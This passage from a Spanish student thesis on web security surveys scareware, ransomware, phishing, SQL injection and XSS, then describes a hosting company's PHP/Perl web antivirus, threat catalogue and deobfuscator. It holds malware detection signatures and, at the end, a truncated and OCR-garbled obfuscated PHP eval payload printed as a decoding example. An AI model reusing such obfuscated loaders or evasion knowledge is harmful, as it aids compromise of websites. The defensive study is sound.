extorsion, cuando realmente ya lo estas siendo...

Por lo que al final decides pagar esos 5€ que no van a ninguna parte para
arreglar los problemas (Inexistentes).

El Antivirus de mentira se lleva tus 5€ y tu te llevas un efecto placebo muy
interesante, dado que seguramente ni siquiera haya realizado una
busqueda de Virus real.

Y asi funciona este tipo de estafa.

El % de ganancias obtenido por los hackers, se basa exclusivamente en
la suerte o la ingenieria social previa, de la que hablaremos mas tarde,
para descubrir que personas tienen mas facilidad para creerse la estafa,
y proceder a pagar.

Por mucho que una persona sea una victima facil, si esta en el paro y
tiene problemas de impago, no sera facil que la victima pague 20€ para
sentirse seguro...

En estos casos la Ingenieria Social Previa es la clave.
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Ransomware

Es uno de los malware mas recientes.

Primero es transmitido en el ordenador objetivo, infectando el Sistema
Operativo como si de un Gusano se tratase.

Posteriormente el Malware encripta todos los archivos mediante una
combinacion de Clave Publica/Privada, que no puede conseguirse.

Una vez ha dejado todos los archivos inaccesibles, es cuando entra en
movimiento el Hacker, solicitando un pago para desbloquear los archivos,
devolverte la contrasena de encriptacion, para asi poder tener acceso a
los archivos previamente encriptados.

Cabe destacar que es una forma de extorsion en toda regla, llegando a
grabar por la webcam actividad diaria del usuario, con la finalidad de que
la extorsion se produzca como ha sido previamente planeada.

Casi en el 100% de los casos, no se trata de un ingreso a fondo perdido,
es decir, normalmente y casi siempre, si pagas obtienes el codigo de
desbloqueo.

Dado que si el Hacker encima de encriptarlo todo, te enganara y no
desbloqueara los archivos, las redes se inundarian de palabras y
expresiones como “timo”, “estafa”...

Consiguiendo que los beneficios, objetivo final de todo el proceso, sean
menores, llegando a no ser rentable el tiempo dedicado.

Un ejemplo parecido, que realmente es un troyano, pero el
funcionamiento y el objetivo final se acerca mucho mas al de
Ransomware es el caso del Virus Policia Nacional.

Se muestra una imagen como esta:

. e | YoER coRmoan T En la que se
HWE ExEni | O MERE CUERPO NACIONAL DE POLICIA .
comunica que por

Atencién!

Fue detectado un caso de actvidad degal. El sistema opentio fue bloqueado por violckn de Bas leyes de Espafial Fue detectada b siguiente infraccdn: aCtiVidad de

Desde su drecadn I bajo el nmero TN fue efectuado un acceso a pignas de ntemet que contienen pomografia, pomografia nfant, zoofila, asimismo como violkenca sobre los

menores. En su ordenador asmismo fueron encontrados archivos de video que contienen pomografa, elementos de vioknca y pomografd nfanti. Desde ¢l correo electrénico asmsmo se . .
realzaba envio de spam con subtexto de temorsmo. £ bloqueo del ordenador se realza para suprimi a posbidad de accones legales por su parte. p orno gr aﬁ a lnf antll se
B ha bloqueado el
Para quitar el bloqueo del ordenador, usted debe pagar una muita . O rde nadO r y que
de 100 euro. Qkash Donde conseguir Ukash?
5 Puedes adquiric Ukash tos de miles de establecimi odo el mundo, db d
Usted tieme uno formas de pagos e s €bes de pagar una
1) Realzar e pago a través de Ukash: e A ot o 1
Para ello, por favor introduzca el cédigo redbido (en caso de necesidad junto con fa # cojamar  Cajamar - A partic de shora esta disponible Ukash en todos los mu ta para
contrasefi) en Ia linea del pago, y posteriormente pulse OK (sl usted tiene varios cajeros de Cajomar.
c6digos, introdizcalos uno detrss de otro, y después pulse OK). & cais Cabca Galicka - A partir de ahora Ukash esta disponible en todos d b
o v b Gl e o e esbloquearlo.
 genera GO  ocionin - Ao Vi esta dsponbl en o 50,000 cabinas
Cuponesprepago™ Cuponesprepago - Consiga tu Ukash online a traves de su
Internet Bank o utilizando tu tarjeta de credito. . d
2) Reakzar el pago a través de Paysafecard: © BEEEE Tiiicor conalecagas & = o Por miedao (0]
Para ello, por favor introduzca el 63digo recbido (en caso de necesidad junto con la -2 A——— MAcarpey . 1 - .
xg::r) enla maﬂm;&mmgmzﬁi'vﬂwﬂemwms Verguenza, a VlCtlIIla
ﬁpug‘s:!:wn Donde conseguir Paysafecard? acaba pagando a
depostoBaber-polcenes Puedes adquirir tu paysafecard en las siguientes redes: o
epay (anteriormente Movilcarga y Telerecarga), Correos, Cabinas de Telefonica,
e oy, menudo.
Campsa, Petronor, 89, GALP, adheridos a Has, kioscos de Red 30.000, y Canal Recargas
de Telefonica.
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Malware Web

El malware web es una caracterizacion del malware original que
aprovecha el potencial de internet a su favor.

Explota vulnerabilidades de los servidores web, repercutiendo
negativamente en el servidor.

Pierde confidencialidad, fiabilidad, estabilidad y disponibilidad...

Por lo que se podria clasificar como una amenaza importante y prioritaria
a la hora de combatirla, estando atento sobre todo a las actualizaciones
que a nivel de web, se dan mas a menudo.

Los ataques pueden producirse por fallos o descuidos:

» Contrasenas o numeros de tarjeta de crédito con poca
seguridad, llegando a ser obtenidos mediante programas
diccionario que comprueban y testean listados de
contrasenas mas comunes de manera automatica.

» Sistema susceptible a suplantacion de sesiones o de
contenido, favoreciendo la suplantacion de usuarios tanto
por sesion como por contrasena.

» Recuperacion de contrasenas con poca seguridad o fallos.

» Sistema susceptible a suplantacion de sesiones o de
contenido, favoreciendo la suplantacion de usuarios tanto
por sesion como por contrasena.

» No ocultar el arbol de archivos del servidor web, revelando
asi los archivos de los que dispone la red, y favoreciendo el
ataque a estos.

» Fugas de informacion sensible de los desarrolladores,
comentarios, mensajes de erros, defectos.

> Niveles insuficientes de autenticacion.

» No protegerse de las inyecciones de datos en los formularios,
haciendo posible que el malware SQL Injection tenga
mayores probabilidades de tener éxito tanto en busquedas
como en Log In/Log Out.

Permitiendo asi el acceso a datos sensibles almacenados en
las bases de datos, violando la ley de proteccion de datos.
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Malware Web - Ataaues Web

Defacing o Defacement

Es un ataque que utiliza una web modificada o desfigurada.

El hacker mediante técnicas de acceso, ha obtenido los archivos de la
web, copiando integramente el codigo y cambiando campos con la
finalidad de copiar datos y sacar beneficio de ello.

Un perfecto ejemplo es el correo de Apple/Bankia (Phishing):

Te llega un correo de la compania Apple, diciéndote que ha habido un
cambio en tu cuenta y que han intentado acceder a ella.

Posteriormente te pide los datos para poder verificar que eres tu y pedirte
participacion en las acciones tomadas contra el atacante.

Te redirige a una pagina absolutamente idéntica a la de Apple.

Con la diferencia de que en el cédigo de la pdgina, hay modificaciones
como:

Creacion de variables > Nombre, Usuario, NIF, Contrasena...

Y una peticion oculta de enviar correo electréonico a hacker@yopmail.com.

Obteniendo asi una copia de los datos introducidos.

Al darle a Enter, la pdgina se recarga, como si hubiese ocurrido algtun tipo
de error en el envio de la informacion, y te los pide de nuevo.

Esta vez, es la pagina oficial de Apple, a la que realmente accederds y
verds que no hay ningun tipo de problema.

Pero el Hacker ya ha obtenido tus datos.
Ha habido muchos casos de este tipo de Ataque Web llamado Defacing.
En particular, en Espania con las companias Apple y Bankia.

Pero en el caso particular de un banco, el Hacker ha obtenido tus datos
de acceso a tu cuenta bancaria, y el dano puede ser mucho mayor.

O en tu cuenta Apple, de comprar 10 iPhone 6 Plus con todos los extras,
y asustarte con un cargo de 12.000€ en la cuenta bancaria hasta que
procedas a la devolucion y anulacion.

Referencias Bibliograficas: [4]

29 — Ataques Web

'/


mailto:hacker@yopmail.com

Seguridad en el DataCenter Antivirus Web

DDoS

Son las siglas de Distributed Denial of Service, o como se le conoce en
Espana “Ataques de Denegacion de Servicios”.

Ya habiamos hablado de este problema cuando hemos tratado el malware
conocido como Botnet.

Y es que, gracias a una Botnet como hemos comentado con anterioridad,
el hacker puede orientar las peticiones de sus ordenadores Zombis a un
mismo punto, saturando el servicio.

Todas las maquinas de la Botnet se conectan al mismo tiempo a una web,
comenzando a hacer peticiones de todo tipo, provocando una saturacion
masiva de puertos y del ancho de banda.

Haciendo posible la caida del servidor, inhabilitando asi la pagina o
paginas que estuviesen alojadas en este.

Es muy utilizado, dado que no requiere coste adicional una vez se tiene
una Botnet preparada y lista para acatar 6rdenes y solicitar peticiones a
la pagina web en cuestion.

Al provocar que la web no esté disponible, el dueno pierde control sobre
ella y de estar de baja durante mucho tiempo o varias veces consecutivas,
puede repercutir arduamente sobre el negocio.

SPAM

Término que hace referencia a los “Correos no deseados”, ya sea por el
contenido, repleto de enlaces y publicidad, o por el remitente, anénimo o
sospechoso.

Son enviados en grandes cantidades con la intencion de infectar, ya sea
por publicidad, o por archivos como un PNG donde va incorporado un
SCRIPT, generalmente se le conoce como la amenaza mas molesta.

Y la que mas se sufre, pues es la que mayor numero de casos sufridos
existen.

Se utilizan técnicas para obtencion de direcciones de correo electrénico,
ya sean publicas o robadas, o por combinaciones de letras y numeros,
usando la famosa técnica de “Prueba y Error”.

Si se devuelve la respuesta, el correo existe y pasa a formar parte de la
lista de correos. En caso de fallar, lo descarta.

El SPAM es una molestia, llegando a ser un verdadero problema para
empresas que se dedican al Hosting, o Administracion de Correos
Electronicos de grandes organizaciones.
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Exploits

Un exploit es todo ataque que explote y aproveche las vulnerabilidades
que representa un servidor web.

Previamente se ha de detectar el fallo o vulnerabilidad con otro tipo de
malware y mandar los resultados al Hacker.

Posteriormente este pondra en activo un exploit para aprovechar esta
vulnerabilidad a su favor, tanto tiempo como pueda, dado que la mayoria
de vulnerabilidades de las que se aprovechan los exploits son reparadas
en cada actualizacion.

Phishing

El Phishing es un ataque web del estilo al Defacing/Defacement que
hemos visto con anterioridad.

Consiste en la falsificacion de correos electronicos de empresas de
confianza, incitandote a hacer click en los enlaces, obteniendo asi
informacion confidencial del usuario.

Es una técnica muy utilizada, como hemos visto con anterioridad en el
ejemplo del apartado de Defacing, que realmente es un ejemplo de
Phishing.

De ahi la importancia de leer bien los correos y comprobar con la mayor
certeza posible la certeza y fiabilidad tanto del correo como del remitente.

Recordar que nunca hay que aportar ningin dato personal a un
trabajador de una empresa, ya que estos disponen de los datos
necesarios, no deben ni pueden preguntar sus datos personales.

SOL Injection

Es un método que mediante una cadena SQL introducida en campos de
busqueda pretende aprovechar debilidades y obtener toda una base de
datos por ejemplo.

La web espera que tu le pongas la cadena de caracteres a buscar, pero si
en esa cadena hay una orden de cierre de sentencia SQL y el buscador la
acepta, el hacker puede ejecutar cualquier codigo.

Descargandose la base de datos entera, borrarla, o modificando sus
valores.

Generalmente que una persona ajena a una organizacion tenga acceso a
la base de datos, suele ser un tema preocupante, dejando a la empresa
en una posicion comprometida, requiriendo de una solucion rapida y
efectiva ante un ataque tan sencillo de realizar.
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XSS

E1 XSS se refiere a un agujero en la seguridad permitiendo a los hackers
insertar codigo en las webs, evitando medidas de control y pasando
desapercibidos.

Suelen atravesar los controles a través de vulnerabilidades previamente
analizadas.

Es parecido al SQL Injection.
La primera manera de ejecutar codigo seria desde la URL de la pagina:

www.digitalvalue.es /home?qg=rootkit3.0

Ejecutando una funcion JavaScript después del “?q=".

La segunda manera es anadir al codigo propio de la web un SCRIPT o un
iFRAME que permita al hacker robar la informacion de las cookies, del
usuario, de la sesion.

También suele ser utilizado para en el iFRAME creado mostrar
publicidad.

No hay que perder nunca de vista la finalidad de todo ataque web.

O es para obtener beneficios, lo que deberia preocuparnos y estar mas
atentos a actualizaciones.

O es por el simple hecho de hacer dano.

Generalmente suele ser por el beneficio, llegando a ser unicamente el
beneficio el mostrar la publicidad intrusiva de las empresas que se
muestren en los diferentes apartados de publicidad.

Referencias Bibliograficas: [4]

Otros ataques web...

Hay miles y miles de diferentes ataques web, al inicio del documento
explicabamos el porqué es tan dificil de hacer frente al problema.

Los ataques web, generalmente estan personalizados, por lo que al igual
que si un malware hace destrozos en una maquina y en otra directamente
ni se ejecuta porque es inservible.

Hay que entender que las soluciones a estos problemas personalizados
han de ser también personalizadas.
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Ingenieria Social

Definicion

Hay muchas definiciones para el concepto de Ingenieria Social.
Pero a mi en particular me parece muy correcta la siguiente:

Es la practica de obtener informacion confidencial a través de la
manipulacién de usuarios legitimos.

En otras palabras, la Ingenieria Social, es aquel proceso que pasa por
diferentes fases como el espionaje, las encuestas, el historial, etc...

Con la unica finalidad de obtener informacion, de tal manera que si el
Hacker en cuestion quisiera estafar a los usuarios mediante un ataque
de Phishing o de Defacing, y pretende cobrar el “Rescate” por Paypal...

Seguramente su beneficio y % de acierto se veran aumentados si enfoca
los ataques contra usuarios que sabe con anterioridad que tienen cuenta
Paypal y que saben como transferir dinero.

Utilizacion

La ingenieria social se sustenta en el principio y la afirmacion de que “El
usuario es el eslabon débil”. Ya sea por teléfono fingiendo ser un
empleado o un técnico o un cliente.

O desde Internet, donde adicionalmente se mandan peticiones pare
renovar permisos de paginas web, o solicitando renovar la contrasena por
ataques web, cuando realmente el ataque estas siendo ejecutado en ese
mismo momento.

O simplemente desde el punto de vista cara a cara, obteniendo acceso a
sistemas informaticos o moviles, o cuentas de correo, respondiendo a la
pregunta:

cQué contrasena introduciria yo si yo fuese la victima?

Pregunta mucho mas facil de contestar si se tiene acceso al pasado o
presente de la victima, si ha habido algun fallecimiento reciente, si tiene
mascotas, o preguntarle por su numero de la suerte.

Los usuarios no tienen cuidado, simplemente observando mientras
introduce la contrasena o gastando la broma de yo te digo la mia (Falsa)
y ta me dices la tuya, a ver cual es mas segura. La gente cae, la gente es
descuidada, y por ello la Ingenieria Social tiene éxito, y es a dia de hoy de
las mejores maneras de obtener informacion

Referencias Bibliograficas: [3]
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Digital Value

Proyecto — Antivirus Web

Centrandonos ya en el proyecto desarrollado como tal y dejando a un lado
por ahora la investigacion.

He realizado las practicas y el Trabajo Final de Grado en la empresa
Digital Value.

Una empresa dedicada desde el afio 2000 al sector de Internet.

Ofreciendo soluciones a problemas tanto a nivel de almacenamiento web
(Hosting), como de seguridad, al igual que afrontando practicamente
cualquier tipo de proyecto a nivel de redes, comunicaciones y seguridad.

Hemos trabajado en equipo en un gran proyecto al que hemos llamado:
Antivirus Web

Este gran proyecto se ha subdividido en otros proyectos mas pequenos
por varios motivos, tanto por la facilidad de comprension del problema al
dividir este, como por el reparto de tareas entre los integrantes del equipo.

Por comentar unas pocas de las piezas del rompecabezas, estas son las
que quisiera destacar entre todas:

Heuristicas Avanzadas de Deteccion
Desencriptacion de los Virus

Listas Blancas y Listas Negras

Catalogo de Amenazas

Uso de herramientas externas como apoyo
HoneyPot

Blog Comunicativo

VVVYVYYYVYY

El Catalogo de Amenazas ha sido desarrollado en su totalidad por mi.

Y adicionalmente he formado parte del desarrollo tanto de las Heuristicas
Avanzadas de Deteccion, como de la Desencriptacion de Virus y del Uso
de herramientas externas como apoyo.

Cada uno de estos proyectos por si solos ya son interesantes y
merecedores de paginas y paginas para explicarlos con mayor
detenimiento, pero me centraré en los que he participado y en uno mas
por su curiosidad, el HoneyPot.
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Problemas de Seguridad

En Digital Value se toman muy en serio la seguridad, pero al dedicarse
al Hosting o Almacenamiento Web, como todas las empresas en este
sector, se otorgan permisos de administrador a los clientes en sus
espacios contratados.

DIGITAL

VALUE

Dependiendo del plan escogido, Digital Value asiste de manera técnica,
actualizando y parcheando los problemas o fallas que haya con las
actualizaciones del CMS (WordPress, Drupal, Joomla, PretaShop,
Magento...).

Pero en otros casos, son los clientes los que tienen que gestionar su
seguridad, sus actualizaciones y por tanto son ellos los encargados tanto
de estar atentos cuando haya actualizaciones como de aplicarlas.

Generalmente el procedimiento es el siguiente.
Caso 01 - Digital Value se encarga de la Seguridad y el Mantenimiento

» El Cliente no se preocupa de nada porque todo estara al dia
y en perfectas condiciones.

Caso 02 - El cliente se encarga de la Seguridad y el Mantenimiento

» Digital Value avisa al cliente de la mayoria de
actualizaciones, este adicionalmente puede seguir en la
pagina web el “Blog Comunicativo” para estar al tanto de
noticias de importancia a nivel de seguridad o proyectos.

» El Cliente no siempre gestiona la incidencia y decide que la
mejor idea es “Dejarlo estar... Total... No va a pasar nada...”
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Muchos Hackers esperan oportunidades como estas, para infectar las
maquinas que tienen vulnerabilidades y de por si ya tienen brechas de
seguridad.

Porque el esfuerzo para infectarlas es menor.

Como adicional a las paginas webs y otros proyectos, Digital Value
mantiene y gestiona los servidores de correo electronico de multitud de
empresas y ayuntamiento, el mayor problema de Digital Value es el
SPAM.

Aqui es donde entra el Antivirus Web a solucionar los problemas.

Posteriormente hablaremos de las heuristicas, del codigo, del catalogo y
de los resultados obtenidos desde que esta funcionando en la mayoria de
webs el Antivirus Web.

Ahora es momento de hablar del ¢Por qué?
cPor qué Digital Value necesita el Antivirus web?

Si asumimos el concepto de la maquina de un cliente que esta descuidada
por este, y por ende, infectada.

Pero lo aplicamos a miles de maquinas virtuales y que algunas de ellas
gestionan miles de cuentas de correo electronico y no solamente una...

Tenemos un gran problema de SPAM si los Hackers hacen de nuestros
sistemas sus Zombis convirtiendo las maquinas en parte de la Botnet.

Para reducir el SPAM, se disenia una nueva medida de seguridad.
¢Como funciona?

El antivirus web es un archivo PHP, cuyo funcionamiento simplificaré en
una definicion:

Esta ubicado en cada maquina/web, controla y monitoriza todo tipo de
conexiones entrantes, archivos creados, archivos modificados, o
eliminados.

Llevando un registro de todo lo anterior que envia a los técnicos cada cierto
periodo de tiempo.

Desencripta si es necesario el cédigo, para buscar posteriormente cadenas
o IPs problemdticas, almacenadas previamente en una base de datos.

Tiene muchas mas particularidades de las que hablaremos mas tarde.

Y al final veremos en qué medida ha mejorado el problema de SPAM.
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Tecnologias Empleadas

Catalogo de Amenazas

Para el Catalogo de Amenazas he utilizado las siguientes tecnologias:

PHP

HTML 5

CSS 3

JavaScript

JQuery

FrameWork Bootstrap

YV VYV V VYV

Heuristicas Avanzadas

Para desarrollar el codigo en el que se encuentran las heuristicas, se han
utilizado los siguientes lenguajes:

> PHP
> Parl

Herramientas Externas

Para aprovechar otras fuentes de informacion, las bases de datos del
Antivirus se han nutrido de varias bases de datos publicas.

Adicionalmente también mencionar que se ha interactuado con otros
blogs de la competencia para compartir informacion sobre ciertas
amenazas.

Dos herramientas que nos han servido muchisimo en el tema de
Desencriptacion de virus son:

» DDecode - ddecode.com
> UnPHP - unphp.net

Equipo Fisico - Hardware

Para el correcto desarrollo del HoneyPot, que es un tipo de trampa para
malware con la finalidad de estudiarlo posteriormente, se ha utilizado un
sistema dedicado.

Es decir, se ha montado un servidor dedicado, con vulnerabilidades y
fallas previamente estudiadas para aumentar la probabilidad de que
cierto tipo de malware lo infecte via web.

Y asi poder observar su desarrollo, sus efectos y su expansion.
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Implementacion - Catalogo de amenazas

Requisitos

Después de reunirnos con varias personas de la empresa, integrantes en
varios proyectos del Antivirus Web.

Estas personas, que en el futuro seran las encargadas de catalogar y de
revisar la base de datos, con la finalidad de saber como afrontar las
diferentes amenazas que se puedan presentar en sistemas y webs de las
que ellos son encargados de asegurar la seguridad, la fiabilidad y total
disponibilidad.

Se determin6 que querian un Catalogo de Amenazas que fuera:

> Amigable y facil de utilizar
> Completo
e« Que tuviera todos los apartados importantes en los que se
puede especificar diferente informacion sobre las amenazas.
> Online
e Pero con acceso restringido por IP, y otras medidas de
seguridad integradas en la empresa.
> Que tuviera un nivel de riesgo
> Que se pudiera guardar la informacion de un analizador web
e« En este caso el analizador es www.virustotal.com
e« Del que se guarda la fecha del analisis y los resultados de
varias pruebas.
> Que tuviera herramientas y estadisticas
e Este ultimo apartado no ha sido desarrollado todavia dado
que aun no se han especificado que herramientas serian
utiles y se sigue debatiendo sobre el tema.

Por ello uno de los proyectos que conforman en su totalidad el Antivirus
Web es el Catalogo de Amenazas. Los datos a almacenar en el catalogo se
determinaron previamente:

Nombre y Autor de la Amenaza
Tipos de la Amenaza

Fechas de Primera Vez Observada y Obtencion del Parche
Descripcion de la Amenaza
Ejemplo del Malware

Parche para la Amenaza
Analisis Virus Total

Firma

Referencias

Observaciones

Nivel de Riesgo

YVVVVYVY VY VVYVYVYYVYYVYYV

38 — Implementaciéon ‘v


http://www.virustotal.com/

Seguridad en el DataCenter Antivirus Web

Manual de Usuario

En el manual de usuario hablaremos de la interaccién con el catalogo,
comentando las capturas de pantalla.

Destacar que la base de datos del catalogo a mostrar no es la oficial de la
empresa, siendo imposible mostrarla por temas de privacidad.

Menu Principal

Agregar Amenaza

Editar Amenaza

Eliminar Amenaza

Utilidades

Agregar Amenaza — Campos

o
o
o
o
o
o

39 — Implementacion ‘v



Seguridad en el DataCenter Antivirus Web

Los campos pueden ocultarse o mostrarse a voluntad.

Pero como se puede observar, aquellos que empiezan mostrados, son los
obligatorios, si alguno de estos no esta completo, o el formato no es el
correcto, no dejara agregar la amenaza.

Agregar Amenaza — Input y TextArea

4 Nombre de la Amenaza

o

.

4 Ejemplo del Malware

Agregar Amenaza — Fechas

Lu Ma

29 30

13 14
20 21
27 28

Julio 2015

Vi

Agregar Amenaza — Analisis Virus Total

4 Analisis Virus Total

ya total

VirusTotal es un servicio gratuito que analiza archivos y URLs sospechosas
facilitando la répida deteccion de virus, gusanos, troyanos y todo tipo de malware.
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Agregar Amenaza — Nivel de riesgo

4 Nivel de Riesgo

o

I == Nivel de Riesgo : 8

Medium

Editar Amenaza - Filtrado

Nombre

Se puede filtrar la busqueda para que se
muestre en la tabla (Imagen Siguiente).

Fecha Primera Vez Ohservada

Fecha Final

\ B /
@ha Obiencion Del Parchh

Fecha Final

\ B /
| |
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Editar Amenaza - Listado

6

Virus Virus /711 2015-07-06 2015-07-06

Una vez se ha elegido la amenaza, se recogen sus datos por la ID.

Y se abren los mismos campos que en el agregar amenaza, pero con sus
valores almacenados en la base de datos, si los tuviera.

Se procede a realizar los cambios, y se le da a “Guardar Cambios”.

Editar Amenaza — Guardar Cambios

Confirmar Cambios

Se procedera a modificar la informacion de la amenaza, este proceso es irreversible.

Por lo que se predera cualquier copia previa de esta.

i Desea Proceder?

Amenaza a Modificar: Troyano

cancelar

Eliminar Amenaza — Confirmacion

Confirmar Eliminacién

Se procedera a borrar toda la informacion de la amenaza, este proceso es irreversible.
¢ Desea Proceder?

Amenaza a Eliminar: Troyano

Cancelar Eliminar Amenaza

42 — Implementaciéon ‘v



Seguridad en el DataCenter Antivirus Web

Implementacion — AntiVirus Web

Funcionamiento

El Antivirus Web ha sido programado y disenado para cumplir
necesidades de seguridad, el Destructor de Amenazas Web (DAW), como
a nosotros nos gusta llamarlo.

Protegiendo cualquier web que esté alojada en nuestros servidores ante
la mayoria de amenazas web conocidas o recientes.

La primera version del DAW fue programada en PHP + JavaScript para
la parte de la funcionalidad y la conexion de la base de datos.

HTML y CSS para la estética de la web desde la que se utiliza y se
gestiona. Adicionalmente comentar que se ha utilizado el Framework
Bootstrap al igual que en el Catalogo de Amenazas.

El Antivirus es capaz de instalarse desde una maquina ajena al servidor,
conectandose por SSH y enviando el ZIP previamente generado.

Una vez se ha ubicado el Antivirus, este dispone de varios modulos:

» Un Escaner
e Para detectar las posibles amenazas
» Un Inspector
e Para descodificar los archivos que parecen infectados
o Para asi poder ver el codigo original y entenderlos
> Acciones Root
e Editar o Eliminar el Archivo
> Modo Debug
e Mediante un archivo de configuracion se puede activar el
Modo Debug, viendo asi con mas profundidad los mensajes
de aviso
> Archivos de definiciones y firmas
e Varios archivos con cadenas peligrosas, o firmas, palabras,
o expresiones regulares que nos lleven a catalogar el archivo
como preocupante, y tras una revision, clasificarlo como
amenaza o como archivo libre de virus
> Reportes programados
e« Que se envian a los encargados de las webs en cuestion
» Cuarentena
e Donde se copian los archivos preocupantes, eliminando el
original y pudiendo asi volver a recuperar el archivo en caso
de que no sea una amenaza
> Cron
o Genera nombres aleatorios para el Antivirus, comprueba la
integridad de este, y puede restaurarlo o reenviarlo.
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Gracias a la comprobacion del mdS del Antivirus Web, podemos saber
con certeza si ha sido modificado, procediendo a restaurarlo o a
reenviarlo si ha sido eliminado.

Para cada web se dispone de un Antivirus Web diferente, recopilando los
mdS de los archivos almacenados en la Lista Blanca.

Es decir, los archivos que se instalan por defecto del CMS o del software
instalado en las maquinas.

Posteriormente tras los reportes, se procede a analizar y a catalogar en el
Catalogo de Amenazas.

Destacar que la version mas reciente del Antivirus Web ha sido
desarrollada en PERL, por motivos de compatibilidad entre JavaScript y
servidores antiguos.

En los Anexos se podra ver mas codigo de la version en PERL.

Uso del Antivirus Web

Findbot.pl

Es un escaner de malware creado en PERL suministrado por
cbl.abuseat.org con caracter gratuito.

El que cual ya contiene su propio listado de firmas de virus.

Adicionalmente también tiene un pequeno listado md5 de virus utilizados
en los sistemas operativos Windows.

md5(File)=wWhite md5s(File)=Black

open(File)=Patron

File en Lista Negra
Linea X

Cadena sospechosa
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Modificaciones de Findbot.pl

Al ser las firmas del codigo original demasiado genéricas, dan lugar a
muchos falsos positivos, para solucionar estos falsos positivos se han
utilizado nuevas firmas de virus mas fiables.

De igual modo se han ido ampliando estas firmas segun se han ido
descubriendo nuevos archivos malware o nuevos exploits.

Para generar las listas de md5S tanto blancas como negras se han creado
dos nuevas subrutinas de perl, que contienen los codigos md5.

Y para otorgar una mayor rapidez en el escaneo se ha modificado la
secuencia de escaneo de archivos para pasar al siguiente archivo al
encontrar una coincidencia en las listas md5.

Gracias a la introduccion de estas listas, la fiabilidad del escaner ha
aumentado y seguira aumentando gradualmente, pudiendo ser adaptada
en cualquier momento de una manera mas rapida y facil.

=1
~71
N

Cuarentena, Firmas, Listas Blancas y Listas Negras

La carpeta de cuarentena, es lo que llamamos copia de seguridad.

En la que se copian los archivos infectados, encriptandolos para anular
cualquier tipo de funcionalidad que tuvieran, para analizarlos mas
adelante en un entorno preparado, como puede ser el HoneyPot.

Al copiar los archivos en la cuarentena se procede a borrar los archivos
originales, y en caso de equivocacion o falso positivo, se podra restaurar
y recuperar el archivo “perdido”.
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Las Listas Blancas son bases de datos que contienen los datos referentes
de los CMS mas utilizados, ya sea Drupal o Wordpress, aquellos archivos
que vienen por defecto con la instalacion de estos.

Gracias a su md5 podremos saber si ha sido modificado o si coincide en
su totalidad con el archivo original.

Datos como el Nombre del fichero, la ruta donde esta ubicado, y su md5
nos ayudaran a determinar esto.

En contraposicion a las Listas Blancas, tenemos las Listas Negras.

Son bases de datos de nombres de archivos, de rutas de instalacion, o de
cualquier tipo de informacion sensible que nos asegura al 100% que el
archivo que coincida con alguno de estos datos es un malware.

Para poder mejorar la deteccion y agilizar el proceso, estas listas negras
se actualizan constantemente.

¢Qué es una firma de Virus?

Una firma de virus es una parte del codigo que se utiliza para identificar
los diferentes malware:

| preg replace('/.*/e' |
Este es un trozo de codigo php usado para ejecutar codigo cifrado.

| PCT4BA60ODSE |
Esta es una variable recurrente en la creacion de un webshell.

| Hacked by |
Perfecto ejemplo de las cadenas que hay que buscar.

Adicionalmente comentar que se utilizan los coédigos mdS de loa archivos
para definirlos como malware, puesto que en algunas ocasiones una
expresion regular puede no resultar fiable.

cQué es el codigo md5?
Es una cadena de 32 caracteres que define un archivo.

Asi podemos sacer con certeza que se trata de un archivo en concreto.
Sin tener que depender de su contenido o de su nombre.

Dado que previo a la aplicacion del Antivirus Web, la empresa tenia
muchisimos casos archivados de malware, se han estudiado y analizado
obteniendo listados de firmas de alta calidad.

A dia de hoy se poseen mas de 250 Patrones y mas de 1.500.000 codigos
mdS para contrastar.
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Desencriptacion de Virus

El codigo ofuscado puede llegar a ser un verdadero contratiempo a la
hora de decidir si un fichero esta infectado o no, a pesar de que
normalmente un fichero benigno, no deberia de estar ofuscado.

Pero la ofuscacion de codigo se utiliza como proteccion muchas veces, y
esto puede llevarnos a falsos positivos, por ello es tan importante
desencriptar el codigo.

Nos hemos valido de herramientas externas como son:

» DDecode - ddecode.com
> UnPHP - unphp.net

Para crear nuestro propia herramienta de decodificacion, capaz de
traducir el codigo php cifrado con gzinflate, gzuncompress, base64 y los
codigos que utilizan preg replace para ser ejecutado.

El texto introducido es filtrado eliminando las etiquetas de php “<?php”
y “?>”  a continuacion se busca la cadena “eval” la cual es sustituida por
“echo”, de esta manera se evita la ejecucion del codigo.

Lector de codigo PHP

eval(gzinflate(sir_rot13{base64_decode( rUIBQHVEPS8VIOPy14kOyo49F6kCoggB8ZRahAuQe4LIHhwYplt9q61uybNIf7 7zaztvBTKOapEpNjz+swzs7PhTSsdeF4oeoWe+nvigzdbb0/Bem4Mi34risloBvUvr70x+8TuvNip+BeHN1ute26EW| -
kepLemSPWN3zfkYHtFu8El4uKbnw+FITNEPhvQW1US+2kMPwr8UbjSMVINecjBJ6QIsKFgZTDASJeDBE1hhJIZTi4pzhiprvpdIMPOgplingNJQbpyrlHtY
/FiDNmx1GZ6UTdgFhl+0z8L40n8aT4D+2Rk9a3yzxTPDX7CEBCOXmuuCEySxnClwxwvJZedvK/Kq3/j49GcANNU1 8zurNATSmtMgvOgPwzWinninMpyyxiebz3z5Z8T1VROFqCGgcOR1tzozlyB
/YECbJzNpvwIN2SwK+mkShce+KUVzfZoRD47+RBKQIVK7SIGFDRYf5VsPrig51bW
/x9q3jVFn8c3U+hsN4L8mUSDgwOCITITrhExPgUieD3tUwPuvdF Ve X4Sem4KUGytVanJo2j8ZXYSXw2vQT7w+924Bp5sWukFZJgik+G5EXGQ+KTIHzoWxSY5Vin0cB20gBP2Nrai8 1 PPvV8IBEMkaEHk 1uM340kn9XNZdxI1EOO41zPMs
005X2Y6yPsJLacqLgiBnxL+/+TxKVT sd+fu8+YGtRg3LegB5pxljinFgjjEhrep T4NoMwYBMCNaE+
/HdD2eGaMwAEKKVLaaJHyBTxPhHKKgJLpVzn9RbkO60j5sIGQkGIY49K1s70Zc0XKxA0IVIGHCQTnKSmn 1 SIYQ0dacKvsGqtoo YyP+h2v47IuZ6p61HJcOkh 79x0gNLellgQIARg33X1 LK7tWr+XPpbi5S+Z YcYP31JGgipMwDymdBZ Vwiw
PQVYUjCHAddV49eJvRR5TmTdIDgoZBSdoldFLxYLI95KUBOuzTJRrapjcpkLknBKg4I9ywr3fsd2GoQ2ZFgsimUUINcILzMrCiYisShN3KWNcibZbCa
JyluR3GKpeRZcdyVOU7rJIXMUZpITKM1FfYNgwn413ecWnylaM73SLOXRFzyufPed+sg1ulim5X3ud i
